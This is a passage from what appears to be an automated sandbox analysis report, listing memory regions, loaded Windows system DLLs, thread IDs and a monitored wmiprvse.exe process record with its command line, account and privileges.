0x376ffff entry_point = 0x36b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1927 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1928 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2002 start_va = 0x2470000 end_va = 0x2470fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002470000" filename = "" Region: id = 2003 start_va = 0x2480000 end_va = 0x2480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 2004 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2005 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2517 start_va = 0x2690000 end_va = 0x2691fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002690000" filename = "" Region: id = 2518 start_va = 0x3b80000 end_va = 0x3c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 2519 start_va = 0x3e60000 end_va = 0x3f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 2520 start_va = 0x4050000 end_va = 0x40cffff entry_point = 0x0 region_type = private name = "private_0x0000000004050000" filename = "" Region: id = 2521 start_va = 0x40f0000 end_va = 0x41effff entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 2522 start_va = 0x41f0000 end_va = 0x43effff entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 2523 start_va = 0x4480000 end_va = 0x457ffff entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 2524 start_va = 0x45c0000 end_va = 0x46bffff entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 2525 start_va = 0x4720000 end_va = 0x481ffff entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 2526 start_va = 0x4860000 end_va = 0x495ffff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 2527 start_va = 0x4a80000 end_va = 0x4b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 2528 start_va = 0x4b80000 end_va = 0x4f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 2529 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2530 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2531 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2532 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2533 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2534 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2535 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2536 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2537 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2538 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2539 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2540 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2541 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2542 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2543 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2544 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2545 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2546 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2547 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2548 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2549 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2595 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2596 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2597 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2598 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Thread: id = 113 os_tid = 0x898 Thread: id = 140 os_tid = 0x7ac Thread: id = 142 os_tid = 0x80c Thread: id = 143 os_tid = 0x980 Thread: id = 147 os_tid = 0x550 Thread: id = 149 os_tid = 0x464 Thread: id = 151 os_tid = 0x77c Thread: id = 153 os_tid = 0xf0 Thread: id = 156 os_tid = 0x7bc Thread: id = 157 os_tid = 0x600 Thread: id = 158 os_tid = 0x2b4 Thread: id = 159 os_tid = 0x1c4 Thread: id = 162 os_tid = 0x808 Thread: id = 165 os_tid = 0x9dc Thread: id = 166 os_tid = 0x5fc Thread: id = 185 os_tid = 0x52c Thread: id = 251 os_tid = 0x5e0 Thread: id = 253 os_tid = 0x6c0 Thread: id = 255 os_tid = 0x714 Thread: id = 257 os_tid = 0xb80 Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x39c66000" os_pid = "0x824" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000596ee" [0xc000000f] Region: id = 1340 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1341 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1342 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1343 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1344 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1345 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1346 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1347 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1348 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1349 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1350 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1351 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1352 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1353 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1354 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1355 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1356 start_va = 0x450000 end_va = 0x5d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1357 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1358 start_va = 0x770000 end_va = 0x82ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1359 start_va = 0x830000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1360 start_va = 0x9a0000 end_va = 0xa1ffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 1361 start_va = 0xa20000 end_va = 0xceefff entry_point = 0xa20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1362 start_va = 0xcf0000 end_va = 0x10e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 1363 start_va = 0x1170000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 1364 start_va = 0x1290000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1365 start_va = 0x1380000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1366 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1367 start_va = 0x1550000 end_va = 0x15cffff entry_point = 0x0 region_type = private name = "private_0x0000000001550000" filename = "" Region: id = 1368 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1369 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1370 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1371 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1372 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1373 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1374 start_va = 0xff190000 end_va = 0xff1eefff entry_point = 0xff190000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1375 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1376 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1377 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1378 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1379 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1380 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1381 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1382 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1383 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1384 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1385 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1386 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1387 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1388 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1389 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1390 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1391 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1392 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1393 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1394 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1395 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1396 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1397 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1398 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1399 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1400 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1401 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1402 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1403 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1404 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1405 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1406 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1407 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1408 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1409 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1410 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1411 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1412 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1413 start_va = 0x7fee1790000 end_va = 0x7fee1989fff entry_point = 0x7fee1790000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1414 start_va = 0x7fee2b30000 end_va = 0x7fee2b7bfff entry_point = 0x7fee2b30000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1415 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1416 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1421 start_va = 0x7fef92d0000 end_va = 0x7fef92d7fff entry_point = 0x7fef92d0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1422 start_va = 0x75760000 end_va = 0x75762fff entry_point = 0x75760000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1423 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1424 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1439 start_va = 0x1a0000 end_va = 0x1a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1440 start_va = 0x230000 end_va = 0x234fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 1441 start_va = 0x15e0000 end_va = 0x165ffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 1442 start_va = 0x1740000 end_va = 0x17bffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1443 start_va = 0x17c0000 end_va = 0x18bffff entry_point = 0x0 region_type = private name = "private_0x00000000017c0000" filename = "" Region: id = 1444 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1445 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1446 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1447 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1448 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1449 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1450 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1451 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1452 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1453 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1454 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1455 start_va = 0x7fef92b0000 end_va = 0x7fef92c1fff entry_point = 0x7fef92b0000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 1456 start_va = 0x7fef92a0000 end_va = 0x7fef92a9fff entry_point = 0x7fef92a0000 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: 